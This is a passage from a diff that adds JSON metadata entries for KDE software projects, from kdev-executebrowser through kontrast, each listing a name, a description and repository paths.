"kdevelop/kdev-executebrowser" + }, + "kdev-go": { + "description": "Go language support for KDevelop", + "name": "kdev-go", + "project_path": "unmaintained/kdev-go", + "repo_path": "unmaintained/kdev-go" + }, + "kdev-java": { + "description": "Java language support for KDevelop4", + "name": "kdev-java", + "project_path": "unmaintained/kdev-java", + "repo_path": "unmaintained/kdev-java" + }, + "kdev-krazy2": { + "description": "A plugin for KDevelop to perform Krazy2 analysis", + "name": "kdev-krazy2", + "project_path": "playground/devtools/plugins/kdev-krazy2", + "repo_path": "kdevelop/kdev-krazy2" + }, + "kdev-mercurial": { + "description": "Mercurial support plugin for KDevelop", + "name": "kdev-mercurial", + "project_path": "playground/devtools/plugins/kdev-mercurial", + "repo_path": "kdevelop/kdev-mercurial" + }, + "kdev-perforce": { + "description": "A plugin for Kdevelop 4 that enables integration with Perforce", + "name": "kdev-perforce", + "project_path": "unmaintained/kdev-perforce", + "repo_path": "unmaintained/kdev-perforce" + }, + "kdev-php": { + "description": "PHP Language Plugin for KDevelop", + "name": "kdev-php", + "project_path": "extragear/kdevelop/plugins/kdev-php", + "repo_path": "kdevelop/kdev-php" + }, + "kdev-php-docs": { + "description": "PHP Documentation plugin for KDevelop/Quanta.", + "name": "kdev-php-docs", + "project_path": "unmaintained/kdev-php-docs", + "repo_path": "unmaintained/kdev-php-docs" + }, + "kdev-php-formatter": { + "description": "KDevelop Plugin for PHPFormatter", + "name": "kdev-php-formatter", + "project_path": "unmaintained/kdev-php-formatter", + "repo_path": "unmaintained/kdev-php-formatter" + }, + "kdev-python": { + "description": "KDevelop Python language support", + "name": "kdev-python", + "project_path": "extragear/kdevelop/plugins/kdev-python", + "repo_path": "kdevelop/kdev-python" + }, + "kdev-qmake": { + "description": "Support for Qt's qmake build system.", + "name": "kdev-qmake", + "project_path": "unmaintained/kdev-qmake", + "repo_path": "unmaintained/kdev-qmake" + }, + "kdev-qmljs": { + "description": "This plugin brings qml and JavaScript language support to KDevelop", + "name": "kdev-qmljs", + "project_path": "unmaintained/kdev-qmljs", + "repo_path": "unmaintained/kdev-qmljs" + }, + "kdev-ruby": { + "description": "KDevelop plugin which provides Ruby language support", + "name": "kdev-ruby", + "project_path": "playground/devtools/plugins/kdev-ruby", + "repo_path": "kdevelop/kdev-ruby" + }, + "kdev-rust": { + "description": "KDevelop plugin which provides Rust language support.", + "name": "kdev-rust", + "project_path": "unmaintained/kdev-rust", + "repo_path": "unmaintained/kdev-rust" + }, + "kdev-sql": { + "description": "KDevelop Plugin for SQL Language Support", + "name": "kdev-sql", + "project_path": "unmaintained/kdev-sql", + "repo_path": "unmaintained/kdev-sql" + }, + "kdev-upload": { + "description": "KDevelop plugin for uploading files to a remote server", + "name": "kdev-upload", + "project_path": "playground/devtools/plugins/kdev-upload", + "repo_path": "kdevelop/kdev-upload" + }, + "kdev-valgrind": { + "description": "Plugin offering a full integration of the Valgrind suite into KDevelop", + "name": "kdev-valgrind", + "project_path": "playground/devtools/plugins/kdev-valgrind", + "repo_path": "kdevelop/kdev-valgrind" + }, + "kdev-verapp": { + "description": "Verapp support plugin for KDevelop", + "name": "kdev-verapp", + "project_path": "playground/devtools/plugins/kdev-verapp", + "repo_path": "kdevelop/kdev-verapp" + }, + "kdev-www": { + "description": "KDevelop website content.", + "name": "kdev-www", + "project_path": "unmaintained/kdev-www", + "repo_path": "unmaintained/kdev-www" + }, + "kdev-xdebug": { + "description": "KDevelop debugger plugin for PHP using XDebug", + "name": "kdev-xdebug", + "project_path": "playground/devtools/plugins/kdev-xdebug", + "repo_path": "kdevelop/kdev-xdebug" + }, + "kdev-xml": { + "description": "KDevelop Plugin for XML and HTML Language Support", + "name": "kdev-xml", + "project_path": "unmaintained/kdev-xml", + "repo_path": "unmaintained/kdev-xml" + }, + "kdev-xtest": { + "description": "Implements the interface from the Veritas library for unit testing with QTestLib.", + "name": "kdev-xtest", + "project_path": "unmaintained/kdev-xtest", + "repo_path": "unmaintained/kdev-xtest" + }, + "kdevelop": { + "description": "Cross-platform IDE for C, C++, Python, QML/JavaScript and PHP", + "name": "kdevelop", + "project_path": "extragear/kdevelop/kdevelop", + "repo_path": "kdevelop/kdevelop" + }, + "kdevelop-pg-qt": { + "description": "KDevelop Parser Generator, used in the PHP language plugin and others", + "name": "kdevelop-pg-qt", + "project_path": "extragear/kdevelop/utilities/kdevelop-pg-qt", + "repo_path": "kdevelop/kdevelop-pg-qt" + }, + "kdevplatform": { + "description": "The KDevelop Platform, supplying a framework to build IDE-like applications on top of it.", + "name": "kdevplatform", + "project_path": "unmaintained/kdevplatform", + "repo_path": "unmaintained/kdevplatform" + }, + "kdewebkit": { + "description": "KDE Webkit", + "name": "kdewebkit", + "project_path": "frameworks/kdewebkit", + "repo_path": "frameworks/kdewebkit" + }, + "kdewin": { + "description": "Library that provides supplementary tools to compile KDE applications on Windows - open merge requests to submit changes", + "name": "kdewin", + "project_path": "kdesupport/kdewin", + "repo_path": "packaging/kdewin" + }, + "kdewin-installer": { + "description": "Installer for KDE applications on Windows", + "name": "kdewin-installer", + "project_path": "kdesupport/kdewin-installer", + "repo_path": "packaging/kdewin-installer" + }, + "kdewin-tools": { + "description": "Supplementary tools which assist compiling KDE applications on Windows", + "name": "kdewin-tools", + "project_path": "kdesupport/kdewin-tools", + "repo_path": "packaging/kdewin-tools" + }, + "kdf": { + "description": "Displays available storage devices and information about their usage", + "name": "kdf", + "project_path": "kde/kdeutils/kdf", + "repo_path": "utilities/kdf" + }, + "kdgantt2": { + "description": "This lib provides gantt support", + "name": "kdgantt2", + "project_path": "unmaintained/kdgantt2", + "repo_path": "unmaintained/kdgantt2" + }, + "kdiagram": { + "description": "Powerful libraries (KChart, KGantt) for creating business diagrams", + "name": "kdiagram", + "project_path": "extragear/graphics/kdiagram", + "repo_path": "graphics/kdiagram" + }, + "kdialog": { + "description": "Tool to show nice dialog boxes from shell scripts", + "name": "kdialog", + "project_path": "kde/applications/kdialog", + "repo_path": "utilities/kdialog" + }, + "kdiamond": { + "description": "KDiamond is a single player puzzle game", + "name": "kdiamond", + "project_path": "kde/kdegames/kdiamond", + "repo_path": "games/kdiamond" + }, + "kdiff3": { + "description": "Utility for comparing and merging files and directories", + "name": "kdiff3", + "project_path": "extragear/utils/kdiff3", + "repo_path": "sdk/kdiff3" + }, + "kdisksutilities": { + "description": "Disks management utilities", + "name": "kdisksutilities", + "project_path": "playground/sysadmin/kdisksutilities", + "repo_path": "system/kdisksutilities" + }, + "kdnssd": { + "description": "KDNSSD Framework", + "name": "kdnssd", + "project_path": "frameworks/kdnssd", + "repo_path": "frameworks/kdnssd" + }, + "kdoctools": { + "description": "KDocTools", + "name": "kdoctools", + "project_path": "frameworks/kdoctools", + "repo_path": "frameworks/kdoctools" + }, + "kdocumentstore": { + "description": "Library to store QVariants and QVariantMaps", + "name": "kdocumentstore", + "project_path": "playground/libs/kdocumentstore", + "repo_path": "libraries/kdocumentstore" + }, + "kdots": { + "description": "KDots is the simple implementation of the game of dots written with Qt Toolkit and KDELibs.\n\nThe purpose of Dots game is to catch your opponent's dots by placing your dots on the game board where the lines cross.", + "name": "kdots", + "project_path": "unmaintained/kdots", + "repo_path": "unmaintained/kdots" + }, + "kdsoap": { + "description": null, + "name": "kdsoap", + "project_path": "third-party/kdsoap", + "repo_path": null + }, + "kdsoap-ws-discovery-client": { + "description": "Library for finding WS-Discovery devices in the network using Qt5 and KDSoap.", + "name": "kdsoap-ws-discovery-client", + "project_path": "playground/libs/kdsoap-ws-discovery-client", + "repo_path": "libraries/kdsoap-ws-discovery-client" + }, + "keditbookmarks": { + "description": "Bookmarks editor", + "name": "keditbookmarks", + "project_path": "kde/applications/keditbookmarks", + "repo_path": "utilities/keditbookmarks" + }, + "kemoticons": { + "description": "KEmoticons", + "name": "kemoticons", + "project_path": "frameworks/kemoticons", + "repo_path": "frameworks/kemoticons" + }, + "keurocalc": { + "description": "Utility to handle currency conversions between European currencies", + "name": "keurocalc", + "project_path": "extragear/utils/keurocalc", + "repo_path": "utilities/keurocalc" + }, + "kexi": { + "description": "Visual database applications creator", + "name": "kexi", + "project_path": "calligra/kexi", + "repo_path": "office/kexi" + }, + "keysmith": { + "description": "OTP client for Plasma Mobile and Desktop", + "name": "keysmith", + "project_path": "extragear/utils/keysmith", + "repo_path": "utilities/keysmith" + }, + "kf5book": { + "description": "Repository for the development of the KDE Frameworks Cookbook", + "name": "kf5book", + "project_path": "books/kf5book", + "repo_path": "documentation/kf5book" + }, + "kfilemetadata": { + "description": "A library for extracting file metadata", + "name": "kfilemetadata", + "project_path": "frameworks/kfilemetadata", + "repo_path": "frameworks/kfilemetadata" + }, + "kfilereplace": { + "description": "Utility to assist with bulk file renaming", + "name": "kfilereplace", + "project_path": "unmaintained/kfilereplace", + "repo_path": "unmaintained/kfilereplace" + }, + "kfind": { + "description": "File search utility by KDE", + "name": "kfind", + "project_path": "kde/applications/kfind", + "repo_path": "utilities/kfind" + }, + "kfloppy": { + "description": "Graphical utility to format 3.5\" and 5.25\" floppy disks", + "name": "kfloppy", + "project_path": "kde/kdeutils/kfloppy", + "repo_path": "utilities/kfloppy" + }, + "kfourinline": { + "description": "KFourInLine is a four-in-a-row game", + "name": "kfourinline", + "project_path": "kde/kdegames/kfourinline", + "repo_path": "games/kfourinline" + }, + "kfritz": { + "description": "A KDE call monitor and frontend for users of AVMs Fritz!Box routers.\n\nYou can download source-tarballs from github, see below.", + "name": "kfritz", + "project_path": "unmaintained/kfritz", + "repo_path": "unmaintained/kfritz" + }, + "kgamma": { + "description": "Adjust your monitor's gamma settings", + "name": "kgamma", + "project_path": "kde/workspace/kgamma", + "repo_path": "plasma/kgamma" + }, + "kgeography": { + "description": "Geography Trainer", + "name": "kgeography", + "project_path": "kde/kdeedu/kgeography", + "repo_path": "education/kgeography" + }, + "kgeotag": { + "description": "Photo geotagging program", + "name": "kgeotag", + "project_path": "extragear/graphics/kgeotag", + "repo_path": "graphics/kgeotag" + }, + "kget": { + "description": "Download Manager", + "name": "kget", + "project_path": "kde/kdenetwork/kget", + "repo_path": "network/kget" + }, + "kglobalaccel": { + "description": "KGlobalAccel", + "name": "kglobalaccel", + "project_path": "frameworks/kglobalaccel", + "repo_path": "frameworks/kglobalaccel" + }, + "kglobalacceld": { + "description": "Daemon providing Global Keyboard Shortcut (Accelerator) functionality", + "name": "kglobalacceld", + "project_path": "playground/base/kglobalacceld", + "repo_path": "plasma/kglobalacceld" + }, + "kgoldrunner": { + "description": "KGoldrunner is a game of action and puzzle solving", + "name": "kgoldrunner", + "project_path": "kde/kdegames/kgoldrunner", + "repo_path": "games/kgoldrunner" + }, + "kgpg": { + "description": "Simple interface for GnuPG, a powerful encryption utility", + "name": "kgpg", + "project_path": "kde/kdeutils/kgpg", + "repo_path": "utilities/kgpg" + }, + "kgraphviewer": { + "description": "GraphViz dot graph viewer", + "name": "kgraphviewer", + "project_path": "extragear/graphics/kgraphviewer", + "repo_path": "graphics/kgraphviewer" + }, + "kguiaddons": { + "description": "KGuiAddons", + "name": "kguiaddons", + "project_path": "frameworks/kguiaddons", + "repo_path": "frameworks/kguiaddons" + }, + "khangman": { + "description": "A hangman game", + "name": "khangman", + "project_path": "kde/kdeedu/khangman", + "repo_path": "education/khangman" + }, + "khealthcertificate": { + "description": "Handling of digital vaccination, test and recovery certificates.", + "name": "khealthcertificate", + "project_path": "extragear/pim/khealthcertificate", + "repo_path": "pim/khealthcertificate" + }, + "khelpcenter": { + "description": "Software documentation viewer", + "name": "khelpcenter", + "project_path": "kde/applications/khelpcenter", + "repo_path": "system/khelpcenter" + }, + "khipu": { + "description": "Advanced mathematical function plotter", + "name": "khipu", + "project_path": "playground/edu/khipu", + "repo_path": "education/khipu" + }, + "kholidays": { + "description": "KHolidays: Library to assist determining when holidays occur", + "name": "kholidays", + "project_path": "frameworks/kholidays", + "repo_path": "frameworks/kholidays" + }, + "khotkeys": { + "description": "Trigger actions when certain keys are pressed", + "name": "khotkeys", + "project_path": "kde/workspace/khotkeys", + "repo_path": "plasma/khotkeys" + }, + "khtml": { + "description": "KHtml", + "name": "khtml", + "project_path": "frameworks/khtml", + "repo_path": "frameworks/khtml" + }, + "ki18n": { + "description": "Ki18n", + "name": "ki18n", + "project_path": "frameworks/ki18n", + "repo_path": "frameworks/ki18n" + }, + "kiconthemes": { + "description": "KIconThemes", + "name": "kiconthemes", + "project_path": "frameworks/kiconthemes", + "repo_path": "frameworks/kiconthemes" + }, + "kid3": { + "description": "Efficient audio tagger that supports a large variety of file formats", + "name": "kid3", + "project_path": "extragear/multimedia/kid3", + "repo_path": "multimedia/kid3" + }, + "kidentitymanagement": { + "description": "Library to assist in handling user identities", + "name": "kidentitymanagement", + "project_path": "kde/pim/kidentitymanagement", + "repo_path": "pim/kidentitymanagement" + }, + "kidletime": { + "description": "KIdleTime", + "name": "kidletime", + "project_path": "frameworks/kidletime", + "repo_path": "frameworks/kidletime" + }, + "kig": { + "description": "Interactive Geometry", + "name": "kig", + "project_path": "kde/kdeedu/kig", + "repo_path": "education/kig" + }, + "kigo": { + "description": "Kigo is an open-source implementation of the popular Go game", + "name": "kigo", + "project_path": "kde/kdegames/kigo", + "repo_path": "games/kigo" + }, + "kije": { + "description": "QtQuick library with widgets for desktop-oriented QtQuick applications.", + "name": "kije", + "project_path": "playground/libs/kije", + "repo_path": "libraries/kije" + }, + "kile": { + "description": "Integrated LaTeX Editing Environment", + "name": "kile", + "project_path": "extragear/office/kile", + "repo_path": "office/kile" + }, + "killbots": { + "description": "Killbots is a simple game of evading killer robots", + "name": "killbots", + "project_path": "kde/kdegames/killbots", + "repo_path": "games/killbots" + }, + "kimageformats": { + "description": "KImageFormats", + "name": "kimageformats", + "project_path": "frameworks/kimageformats", + "repo_path": "frameworks/kimageformats" + }, + "kimagemapeditor": { + "description": "Generator of HTML image maps", + "name": "kimagemapeditor", + "project_path": "kde/kdewebdev/kimagemapeditor", + "repo_path": "graphics/kimagemapeditor" + }, + "kimap": { + "description": "Library to assist working with IMAP servers", + "name": "kimap", + "project_path": "kde/pim/kimap", + "repo_path": "pim/kimap" + }, + "kimap2": { + "description": "Next-generation IMAP library", + "name": "kimap2", + "project_path": "playground/pim/kimap2", + "repo_path": "pim/kimap2" + }, + "kimono": { + "description": ".NET/Mono bindings for the KDE libraries.", + "name": "kimono", + "project_path": "kde/kdebindings/csharp/kimono", + "repo_path": "unmaintained/kimono" + }, + "kimtoy": { + "description": "An input method frontend by KDE", + "name": "kimtoy", + "project_path": "unmaintained/kimtoy", + "repo_path": "unmaintained/kimtoy" + }, + "kinfocenter": { + "description": "View information about your computer's hardware", + "name": "kinfocenter", + "project_path": "kde/workspace/kinfocenter", + "repo_path": "plasma/kinfocenter" + }, + "kinit": { + "description": "KInit", + "name": "kinit", + "project_path": "frameworks/kinit", + "repo_path": "frameworks/kinit" + }, + "kio": { + "description": "KIO", + "name": "kio", + "project_path": "frameworks/kio", + "repo_path": "frameworks/kio" + }, + "kio-admin": { + "description": "Manage files as administrator using the admin:// KIO protocol.", + "name": "kio-admin", + "project_path": "extragear/sysadmin/kio-admin", + "repo_path": "system/kio-admin" + }, + "kio-extras": { + "description": "Additional components to increase the functionality of KIO", + "name": "kio-extras", + "project_path": "kde/kdenetwork/kio-extras", + "repo_path": "network/kio-extras" + }, + "kio-fuse": { + "description": "FUSE Interface for KIO", + "name": "kio-fuse", + "project_path": "extragear/base/kio-fuse", + "repo_path": "system/kio-fuse" + }, + "kio-gdrive": { + "description": "KIO Slave to access Google Drive", + "name": "kio-gdrive", + "project_path": "kde/kdenetwork/kio-gdrive", + "repo_path": "network/kio-gdrive" + }, + "kio-gopher": { + "description": "Gopher KIO Slave", + "name": "kio-gopher", + "project_path": "extragear/network/kio-gopher", + "repo_path": "network/kio-gopher" + }, + "kio-mtp": { + "description": "Provides KIO Access to MTP devices using the mtp:/// protocol.", + "name": "kio-mtp", + "project_path": "unmaintained/kio-mtp", + "repo_path": "unmaintained/kio-mtp" + }, + "kio-s3": { + "description": "KIO interface for Amazon Web Services S3 storage", + "name": "kio-s3", + "project_path": "extragear/network/kio-s3", + "repo_path": "network/kio-s3" + }, + "kio-stash": { + "description": "Virtual folder to simplify file selection in non-contiguous folder trees", + "name": "kio-stash", + "project_path": "extragear/utils/kio-stash", + "repo_path": "utilities/kio-stash" + }, + "kio-upnp-ms": { + "description": "KIO Slave for UPnP MediaServer devices", + "name": "kio-upnp-ms", + "project_path": "playground/base/kio-upnp-ms", + "repo_path": "network/kio-upnp-ms" + }, + "kio-zeroconf": { + "description": "KIO worker to discover file systems by DNS-SD (zeroconf)", + "name": "kio-zeroconf", + "project_path": "kde/kdenetwork/kio-zeroconf", + "repo_path": "network/kio-zeroconf" + }, + "kipi-plugins": { + "description": "Plugins extending KDE graphics apps, e.g. with import/export capabilities", + "name": "kipi-plugins", + "project_path": "kde/kdegraphics/kipi-plugins", + "repo_path": "graphics/kipi-plugins" + }, + "kirigami": { + "description": "A QtQuick based components set", + "name": "kirigami", + "project_path": "frameworks/kirigami", + "repo_path": "frameworks/kirigami" + }, + "kirigami-addons": { + "description": "Add-ons for the Kirigami framework", + "name": "kirigami-addons", + "project_path": "extragear/libs/kirigami-addons", + "repo_path": "libraries/kirigami-addons" + }, + "kirigami-gallery": { + "description": "Kirigami component gallery application", + "name": "kirigami-gallery", + "project_path": "kde/kdesdk/kirigami-gallery", + "repo_path": "sdk/kirigami-gallery" + }, + "kiriki": { + "description": "Kiriki is an addictive and fun dice game", + "name": "kiriki", + "project_path": "kde/kdegames/kiriki", + "repo_path": "games/kiriki" + }, + "kirogi": { + "description": "Ground control application for drones", + "name": "kirogi", + "project_path": "playground/base/kirogi", + "repo_path": "utilities/kirogi" + }, + "kiss": { + "description": "KDE Initial System Setup", + "name": "kiss", + "project_path": "playground/system/kiss", + "repo_path": "system/kiss" + }, + "kitemmodels": { + "description": "KItemModels", + "name": "kitemmodels", + "project_path": "frameworks/kitemmodels", + "repo_path": "frameworks/kitemmodels" + }, + "kitemviews": { + "description": "KItemViews", + "name": "kitemviews", + "project_path": "frameworks/kitemviews", + "repo_path": "frameworks/kitemviews" + }, + "kiten": { + "description": "Japanese Reference/Study Tool", + "name": "kiten", + "project_path": "kde/kdeedu/kiten", + "repo_path": "education/kiten" + }, + "kitinerary": { + "description": "Data Model and Extraction System for Travel Reservation information", + "name": "kitinerary", + "project_path": "kde/pim/kitinerary", + "repo_path": "pim/kitinerary" + }, + "kitinerary-workbench": { + "description": "KItinerary Test and Development Tool", + "name": "kitinerary-workbench", + "project_path": "playground/pim/kitinerary-workbench", + "repo_path": "pim/kitinerary-workbench" + }, + "kjobwidgets": { + "description": "KJobWidgets", + "name": "kjobwidgets", + "project_path": "frameworks/kjobwidgets", + "repo_path": "frameworks/kjobwidgets" + }, + "kjots": { + "description": "Note taking application using Akonadi", + "name": "kjots", + "project_path": "playground/pim/kjots", + "repo_path": "pim/kjots" + }, + "kjournald": { + "description": "Framework for interacting with systemd-journald", + "name": "kjournald", + "project_path": "kde/applications/kjournald", + "repo_path": "system/kjournald" + }, + "kjs": { + "description": "KJS", + "name": "kjs", + "project_path": "frameworks/kjs", + "repo_path": "frameworks/kjs" + }, + "kjsembed": { + "description": "KJSEmbed", + "name": "kjsembed", + "project_path": "frameworks/kjsembed", + "repo_path": "frameworks/kjsembed" + }, + "kjumpingcube": { + "description": "KJumpingCube is a simple tactical game", + "name": "kjumpingcube", + "project_path": "kde/kdegames/kjumpingcube", + "repo_path": "games/kjumpingcube" + }, + "kldap": { + "description": "Library to assist working with LDAP directories", + "name": "kldap", + "project_path": "kde/pim/kldap", + "repo_path": "pim/kldap" + }, + "kleopatra": { + "description": "Certificate manager and GUI for OpenPGP and CMS cryptography", + "name": "kleopatra", + "project_path": "kde/pim/kleopatra", + "repo_path": "pim/kleopatra" + }, + "klettres": { + "description": "Learn The Alphabet", + "name": "klettres", + "project_path": "kde/kdeedu/klettres", + "repo_path": "education/klettres" + }, + "klevernotes": { + "description": "A convergent markdown note taking application.", + "name": "klevernotes", + "project_path": "playground/office/klevernotes", + "repo_path": "office/klevernotes" + }, + "klickety": { + "description": "Klickety is an adaptation of the Clickomania game", + "name": "klickety", + "project_path": "kde/kdegames/klickety", + "repo_path": "games/klickety" + }, + "klimbgrades": { + "description": "Conversion utility for the difficulty rating of rock climbs", + "name": "klimbgrades", + "project_path": "playground/utils/klimbgrades", + "repo_path": "utilities/klimbgrades" + }, + "klines": { + "description": "KLines is a simple but highly addictive, one player game", + "name": "klines", + "project_path": "kde/kdegames/klines", + "repo_path": "games/klines" + }, + "klinkstatus": { + "description": "Tool to check the current status of links in a web page.", + "name": "klinkstatus", + "project_path": "unmaintained/klinkstatus", + "repo_path": "unmaintained/klinkstatus" + }, + "klook": { + "description": "Quick file content preview application with Dolphin integration", + "name": "klook", + "project_path": "playground/base/klook", + "repo_path": "graphics/klook" + }, + "kmag": { + "description": "Screen magnifier", + "name": "kmag", + "project_path": "kde/kdeaccessibility/kmag", + "repo_path": "accessibility/kmag" + }, + "kmahjongg": { + "description": "KMahjongg is a tile matching game for one or two players", + "name": "kmahjongg", + "project_path": "kde/kdegames/kmahjongg", + "repo_path": "games/kmahjongg" + }, + "kmail": { + "description": "State-of-the-art feature-rich email client that supports many protocols", + "name": "kmail", + "project_path": "kde/pim/kmail", + "repo_path": "pim/kmail" + }, + "kmail-account-wizard": { + "description": "Application which assists you with the configuration of accounts in KMail", + "name": "kmail-account-wizard", + "project_path": "kde/pim/kmail-account-wizard", + "repo_path": "pim/kmail-account-wizard" + }, + "kmailtransport": { + "description": "Library, KCM and KDED module to manage mail transport", + "name": "kmailtransport", + "project_path": "kde/pim/kmailtransport", + "repo_path": "pim/kmailtransport" + }, + "kmarkdownwebview": { + "description": "KPart for rendering Markdown content", + "name": "kmarkdownwebview", + "project_path": "extragear/utils/kmarkdownwebview", + "repo_path": "utilities/kmarkdownwebview" + }, + "kmbox": { + "description": "Library for working with MBox format files", + "name": "kmbox", + "project_path": "kde/pim/kmbox", + "repo_path": "pim/kmbox" + }, + "kmediaplayer": { + "description": "KMediaPlayer", + "name": "kmediaplayer", + "project_path": "frameworks/kmediaplayer", + "repo_path": "frameworks/kmediaplayer" + }, + "kmenuedit": { + "description": "Menu Editor for Plasma Workspaces", + "name": "kmenuedit", + "project_path": "kde/workspace/kmenuedit", + "repo_path": "plasma/kmenuedit" + }, + "kmime": { + "description": "Library to assist handling MIME data", + "name": "kmime", + "project_path": "kde/pim/kmime", + "repo_path": "pim/kmime" + }, + "kmines": { + "description": "KMines is the classic Minesweeper game", + "name": "kmines", + "project_path": "kde/kdegames/kmines", + "repo_path": "games/kmines" + }, + "kmix": { + "description": "Volume control program", + "name": "kmix", + "project_path": "kde/kdemultimedia/kmix", + "repo_path": "multimedia/kmix" + }, + "kmoretools": { + "description": "Support for downloading application assets from the network", + "name": "kmoretools", + "project_path": "playground/libs/kmoretools", + "repo_path": "libraries/kmoretools" + }, + "kmousetool": { + "description": "Program that clicks the mouse for you", + "name": "kmousetool", + "project_path": "kde/kdeaccessibility/kmousetool", + "repo_path": "accessibility/kmousetool" + }, + "kmouth": { + "description": "Type-and-say front end for speech synthesizers", + "name": "kmouth", + "project_path": "kde/kdeaccessibility/kmouth", + "repo_path": "accessibility/kmouth" + }, + "kmplayer": { + "description": "KPart-based video player plugin", + "name": "kmplayer", + "project_path": "extragear/multimedia/kmplayer", + "repo_path": "multimedia/kmplayer" + }, + "kmplot": { + "description": "Mathematical Function Plotter", + "name": "kmplot", + "project_path": "kde/kdeedu/kmplot", + "repo_path": "education/kmplot" + }, + "kmuddy": { + "description": "A MUD (Multi-User Dungeon) client by KDE", + "name": "kmuddy", + "project_path": "playground/games/kmuddy", + "repo_path": "games/kmuddy" + }, + "kmymoney": { + "description": "Personal finance manager", + "name": "kmymoney", + "project_path": "extragear/office/kmymoney", + "repo_path": "office/kmymoney" + }, + "knavalbattle": { + "description": "Naval Battle is a ship sinking game", + "name": "knavalbattle", + "project_path": "kde/kdegames/knavalbattle", + "repo_path": "games/knavalbattle" + }, + "knemo": { + "description": "A network monitor by KDE", + "name": "knemo", + "project_path": "unmaintained/knemo", + "repo_path": "unmaintained/knemo" + }, + "knetwalk": { + "description": "KNetWalk: connect all the terminals to the server, in as few turns as possible", + "name": "knetwalk", + "project_path": "kde/kdegames/knetwalk", + "repo_path": "games/knetwalk" + }, + "knewstuff": { + "description": "KNewStuff", + "name": "knewstuff", + "project_path": "frameworks/knewstuff", + "repo_path": "frameworks/knewstuff" + }, + "knights": { + "description": "Chess board program.", + "name": "knights", + "project_path": "kde/kdegames/knights", + "repo_path": "games/knights" + }, + "knipptasch": { + "description": "Personal accounting application that aims to be the simplest for basic use", + "name": "knipptasch", + "project_path": "playground/office/knipptasch", + "repo_path": "office/knipptasch" + }, + "knotes": { + "description": "Note-taking application", + "name": "knotes", + "project_path": "kde/pim/knotes", + "repo_path": "pim/knotes" + }, + "knotifications": { + "description": "KNotifications", + "name": "knotifications", + "project_path": "frameworks/knotifications", + "repo_path": "frameworks/knotifications" + }, + "knotifyconfig": { + "description": "KNotifyConfig", + "name": "knotifyconfig", + "project_path": "frameworks/knotifyconfig", + "repo_path": "frameworks/knotifyconfig" + }, + "kobjecttracking": { + "description": "Library for tracking changes in QObject-based objects", + "name": "kobjecttracking", + "project_path": "playground/sdk/kobjecttracking", + "repo_path": "sdk/kobjecttracking" + }, + "kodaskanna": { + "description": "A multi-format 1D/2D code scanner", + "name": "kodaskanna", + "project_path": "playground/graphics/kodaskanna", + "repo_path": "graphics/kodaskanna" + }, + "koffice": { + "description": "Free software office suite.", + "name": "koffice", + "project_path": "unmaintained/koffice", + "repo_path": "unmaintained/koffice" + }, + "koffice-chartingshape": { + "description": "Charting utilities and additions for KOffice", + "name": "koffice-chartingshape", + "project_path": "unmaintained/koffice-chartingshape", + "repo_path": "unmaintained/koffice-chartingshape" + }, + "koffice-formulashape": { + "description": "Formula shape for koffice", + "name": "koffice-formulashape", + "project_path": "unmaintained/koffice-formulashape", + "repo_path": "unmaintained/koffice-formulashape" + }, + "koffice-googledocs": { + "description": "KOffice plugin to work with Google Docs", + "name": "koffice-googledocs", + "project_path": "unmaintained/koffice-googledocs", + "repo_path": "unmaintained/koffice-googledocs" + }, + "koffice-musicshape": { + "description": "Musical notation shape and editor for koffice", + "name": "koffice-musicshape", + "project_path": "unmaintained/koffice-musicshape", + "repo_path": "unmaintained/koffice-musicshape" + }, + "koffice-plugins": { + "description": "plugins for koffice, a free software office suite", + "name": "koffice-plugins", + "project_path": "unmaintained/koffice-plugins", + "repo_path": "unmaintained/koffice-plugins" + }, + "koffice-texthighlight": { + "description": "A plugin for KWord to allow giving syntax highlighting to selected text.", + "name": "koffice-texthighlight", + "project_path": "unmaintained/koffice-texthighlight", + "repo_path": "unmaintained/koffice-texthighlight" + }, + "koffice-videoshape": { + "description": "Video shape for the KOffice suite", + "name": "koffice-videoshape", + "project_path": "unmaintained/koffice-videoshape", + "repo_path": "unmaintained/koffice-videoshape" + }, + "koko": { + "description": "Image gallery application", + "name": "koko", + "project_path": "extragear/graphics/koko", + "repo_path": "graphics/koko" + }, + "kolena": { + "description": "Kolena is a KDE wrapper around the Olena image library which extracts text from images.", + "name": "kolena", + "project_path": "unmaintained/kolena", + "repo_path": "unmaintained/kolena" + }, + "kolf": { + "description": "Kolf is a miniature golf game with 2d top-down view", + "name": "kolf", + "project_path": "kde/kdegames/kolf", + "repo_path": "games/kolf" + }, + "kollision": { + "description": "Kollision is a simple ball dodging game", + "name": "kollision", + "project_path": "kde/kdegames/kollision", + "repo_path": "games/kollision" + }, + "kolor-manager": { + "description": "Color management KCM using Oyranos CMS", + "name": "kolor-manager", + "project_path": "extragear/graphics/kolor-manager", + "repo_path": "graphics/kolor-manager" + }, + "kolorfill": { + "description": "Simple flood fill game", + "name": "kolorfill", + "project_path": "playground/base/kolorfill", + "repo_path": "games/kolorfill" + }, + "kolourpaint": { + "description": "Easy-to-use paint program", + "name": "kolourpaint", + "project_path": "kde/kdegraphics/kolourpaint", + "repo_path": "graphics/kolourpaint" + }, + "kommander": { + "description": "Toolkit allowing the creation of minimal, yet functionally powerful scripted applications.", + "name": "kommander", + "project_path": "unmaintained/kommander", + "repo_path": "unmaintained/kommander" + }, + "kommit": { + "description": "Graphical Git Client", + "name": "kommit", + "project_path": "playground/sdk/kommit", + "repo_path": "sdk/kommit" + }, + "kompare": { + "description": "Graphical File Differences Tool", + "name": "kompare", + "project_path": "kde/kdesdk/kompare", + "repo_path": "sdk/kompare" + }, + "kongress": { + "description": "Companion application for conferences", + "name": "kongress", + "project_path": "extragear/utils/kongress", + "repo_path": "utilities/kongress" + }, + "konqueror": { + "description": "Web browser and Swiss Army knife for any kind of file management and previewing", + "name": "konqueror", + "project_path": "kde/applications/konqueror", + "repo_path": "network/konqueror" + }, + "konquest": { + "description": "Konquest is the KDE version of Gnu-Lactic", + "name": "konquest", + "project_path": "kde/kdegames/konquest", + "repo_path": "games/konquest" + }, + "konsole": { + "description": "Terminal emulator by KDE", + "name": "konsole", + "project_path": "kde/applications/konsole", + "repo_path": "utilities/konsole" + }, + "kontact": { + "description": "Container application to unify several major PIM applications", + "name": "kontact", + "project_path": "kde/pim/kontact", + "repo_path": "pim/kontact" + }, + "kontactinterface": { + "description": "Support libraries to assist integration with Kontact", + "name": "kontactinterface", + "project_path": "kde/pim/kontactinterface", + "repo_path": "pim/kontactinterface" + }, + "kontaminuti": { + "description": "Kontaminuti is a simple helper utility to time your activities according to the Pomodoro Technique.", + "name": "kontaminuti", + "project_path": "unmaintained/kontaminuti", + "repo_path": "unmaintained/kontaminuti" + }, + "kontrast": { + "description": 